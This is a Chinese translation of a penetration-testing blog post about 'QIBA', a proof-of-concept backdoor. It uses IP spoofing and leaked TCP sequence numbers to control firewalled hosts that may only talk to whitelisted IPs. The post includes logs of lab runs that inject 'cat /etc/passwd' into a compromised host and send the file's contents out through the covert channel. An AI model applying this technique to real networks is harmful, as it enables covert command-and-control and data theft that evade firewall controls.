標籤:

利用「量子插入」技術繞過IP限制

到目前為止,每個人應該都可能聽說過量子插入NSA(Quantum Insert NSA)這種攻擊技術,如果你還沒有聽說過,那麼我建議在這篇文章的結尾處查看引用的一些文章。對於那些已經聽說過或者了解這種技術的的人來說,這種攻擊技術也不是新穎的攻擊技術,而且在過去已經有多種工具實現了這種攻擊。這些工具使你能夠完全劫持telnet連接然後插入你要執行的命令,或終止現有的連接。大多數工具依賴於這樣一個事實,即它們可以攔截本地網路上的流量,然後偽造TCP / IP序列號(你可以預測它們的日子已經過去了)。

所以看起來要利用這種類型的攻擊,只需要知道其中的序列號就可以有助於偽造一個欺騙的數據包,目前已經有兩種非常具體的方式被使用:

· 在本地網路上注入TCP流

· 通過利用NSA攻擊在全局監控連接並注入數據包

然而,還有一種利用方式,但是據我所知,目前還沒有使用這種技術來繞過IP過濾器進行雙向通信。你可能會想知道這可能會派上用場嗎?大多數攻擊者用這種攻擊技術來直接通過HTTPS進行內網滲透,或者在最壞的情況下,這些攻擊者可以將流量迴流到工作良好的舊DNS中。然而,這些方法都不適用於你在滲透過程中有時會遇到的一些更為孤立的主機的情況。

在一次滲透過程中,我遇到了多個主機,這些主機被網路防火牆屏蔽,只允許某些IP地址發起網路連接。下圖描述了這種情況:

如上圖所示,由於某些原因,攻擊者已經決定將受感染的主機與互聯網進行通信,而實際上只需要與某些IP地址進行通信。這讓我想到如何才能傳輸數據。最簡單的方法當然是通過SSH和密碼重用的方式獲得外部主機的訪問然後以相同的方式來傳輸數據。我在這期間沒有發現任何其他有用的滲透方法。這當然不是最理想的出路,因為它需要在內網中的多個感染主機之間通過網路傳遞信息,這可能會引起網路管理員的一些注意。

在我看來,一個更優雅的方式是直接從機器滲透,避免與網路中的機器連續連接。在這篇文章中,我們將探討我為這個挑戰找到的解決方案,這是為了重新利用眾所周知的「量子插入「技術來嘗試和構建的一個具有欺騙性IP地址的雙向通信通道,以便能夠從這些類型的隔離主機中繼續滲透。如果你認為「這隻有在IP過濾或反地址欺騙不執行的情況下才有效」,那麼你想的沒錯。所以除了進行DDOS攻擊外,這也是阻止傳出欺騙性數據包的另一個原因。

如果你已經熟悉了IP欺騙,偽造數據包和量子插入,你也可以跳過這篇文章的其餘部分,直接跳轉到QIBA – 量子插入後門POC。請注意,我只在實驗室的設置中測試了這一點,對實際滲透的使用效果沒有保證:)

最後,你可能使用這個工具很久了,工具的代碼說明了它的工作原理,但它在實際的滲透中無處不在使用。

攻擊概念

最終目標很明確嗎,我們所需要的就是能夠從互聯網上的主機與內網的主機之間獲得雙向通信(白名單IP地址,沒有dns)。下圖描繪了通過說明單向通信來實現此目的的方式:

我們來看看上面的圖片,並解釋一些額外的細節:

1. 控制連接(Control Connection)

這是我們設置為白名單機器的連接,以便我們可以控制這台機器上的數據速率並使用它來接收注入的數據包

2. 泄漏(Leak)

我們要泄漏以下信息

a) ControlConnection源埠

b) ControlConnection序列號

c) ControlConnection確認號碼

我們使用攻擊伺服器的SPOOFED IP地址向白名單的機器使用SYN數據包發起網路連接

3. 接收泄漏信息

白名單機器將對我們的攻擊伺服器進行SYN / ACK響應,從而使我們能夠收到泄露的信息

4. 注入欺騙數據包

我們現在擁有向受感染的機器發送數據包所需的所有信息,然後欺騙白名單機器的IP地址

攻擊POC

在我們開始構建利用工具之前,首先看看這個概念是否可行,構建一個小型的POC,這樣可以將數據注入孤立的主機。這是我們已經知道的事實,因為它已經完成,這是我們想要構建的其餘工具的基礎。

我們需要構建以下組件:

在受感染的主機端(poc_client.py)

· 控制連接

· 嗅探器

· 泄漏序列號的方式

命令&控制伺服器端(poc_server.py)

· 一種識別泄漏序列號的方法

· 某些東西將數據包注入我們的主機

所以這並不是完全雙向的,但它提供了充分的證明邏輯,它應該給我們足夠的信心,其餘的概念也將起到作用。首先要注意的是,使用IP欺騙,你可以通過編碼序列號來隔離來自隔離主機的信息,當然這是低帶寬信道的缺點。

POC有點混亂,有時可能不起作用,但是我們之前討論過的要點將被證明受控數據包注入到獨立主機的至少需要半雙工能力,並且可以變成雙向的定向通道。如果一切順利的話,控制連接應該會接收到「INJECT」和「WIPE」。擴展一下你的一點想像力,你就可以使用這個工具做一些有用的其他事情,例如:

· 向孤立的主機注入新的C&C IP地址

· 啟動關於文件或主機的WIPE操作

· 發送命令執行

當然更有趣的事情是你也可以以相同的方式接收數據,這實際上使我們能夠控制一個隔離的主機了,即使它被完全屏蔽,只允許與一個IP地址進行通信。所以讓我們來嘗試建立一個使用這個原理的後門吧。

QIBA – 量子插入後門

POC基本上包含了創建雙向後門所需的一切。原因如下:

· 從注入的數據包接收數據到控制連接

· 通過白名單主機的seq / ack序列號泄漏數據

主要區別在於,你需要實現附加的信令和執行命令的能力以及將命令輸出切割成小塊。由於TCP / IP的一些屬性,你還必須考慮重複的數據包,因為白名單IP的TCP / IP堆棧在收到無應答的消息時將重新發送數據包。為了補償這一點,你只需要為每個數據包添加一個小的一個位元組的校驗和,以便你可以在收到數據包時識別它。是的,這進一步限制了帶寬從4到3個位元組。我選擇的方式非常簡單,因此可能不是很理想,但至少它現在比較適用:

if ((ord(encdata[0]) + ord(encdata[1]) + ord(encdata[2])) % 0xff) == ord(encdata[3]):

上面的代碼,我只是添加了所有的位元組並且將這些位元組與255 mod一下,這對於現在似乎是足夠的了。另外為了確保我以正確的順序收到所有的數據,我實現了一些似乎能完成這項工作的超時。在更實際的實現中,你將實現更強大的信令協議以及一些錯誤碼。讓我們來看看代碼執行的如何?

伺服器端

sudo python qiba_server.py 172.16.218.152 172.16.218.168 8080 "cat /etc/passwd"Injecting::::::: <IP frag=0 proto=tcp src=172.16.218.152 dst=172.16.218.168 |<TCP sport=http_alt dport=43294 seq=729684595 ack=1783071637 flags=PA |<Raw load=cat /etc/passwd:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa |>>>.Sent 1 packets.cmdoutput::::::: roocmdoutput::::::: t:xcmdoutput::::::: t:xcmdoutput::::::: :0:cmdoutput::::::: 0:rcmdoutput::::::: t:xcmdoutput::::::: ootcmdoutput::::::: :/rcmdoutput::::::: ootcmdoutput::::::: :/bcmdoutput::::::: t:x[...]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinnc:x:4:65534:sync:/bin:/bin/sync

客戶端

sudo ./qiba_client.py 172.16.218.152 172.16.218.174 8080Sent 1 packets..Sent 1 packets..Sent 1 packets.Getdata attempt:::::::RECEIVED::::::: cat /etc/passwd:aaaaaaaaaaaaaa[...]CMD::::::: cat /etc/passwdCMD OUTPUT::::::: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin[...]Exfildata::::::: rooQExfildata enc::::::: 726f6f51Exfildata int::::::: 1919905617.Sent 1 packets.Exfildata::::::: t:xExfildata enc::::::: 743a7827Exfildata int::::::: 1949988903.Sent 1 packets.Exfildata::::::: :0:?Exfildata enc::::::: 3a303aa4Exfildata int::::::: 976239268

好吧,看起來好玩嗎?我們現在正在控制一個只允許使用欺騙性數據包和序列/確認號與單個IP通信的主機作為傳輸信息的通道。

技術限制和實際應用

雖然QIBA POC證明這個概念是有效的,但還有一些限制:

· 白名單主機本身不應實施IP或埠白名單

· 受害者要能夠欺騙IP地址

· 攻擊者需要知道受害者的IP地址

這可能會讓你想知道這個概念的實際用途有些什麼?那麼我會說以下幾個場景是很現實的:

· 無論IP白名單如何配置,感染主機都可以成功的通知CC主機

· 無論IP白名單如何配置,都可以傳輸信息

我認為能夠實現上述實際情況的原因是因為感染主機需要做的唯一的事情是監控當前的連接並嘗試使用它所能連接到的IP進行過濾。這當然沒有任何保證,但在我看來,最好還是不要完全過濾。

參考

packetstormsecurity.com

blog.fox-it.com/2015/04

conference.hitb.org/hit

本文翻譯自:diablohorn.com/2017/05/ ,如若轉載,請註明原文地址: 4hou.com/web/8226.html 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

幾個比較重要的更新
用彙編語言(ARM 32位)編寫TCP Bind Shell的菜鳥教程
「黑客手機」免費送!
如何看待華為余承東支持蘋果對抗美國政府,並稱政府的要求絕不答應?
信息安全專業的女生,計算機最好主攻哪個方向?

TAG:信息安全 |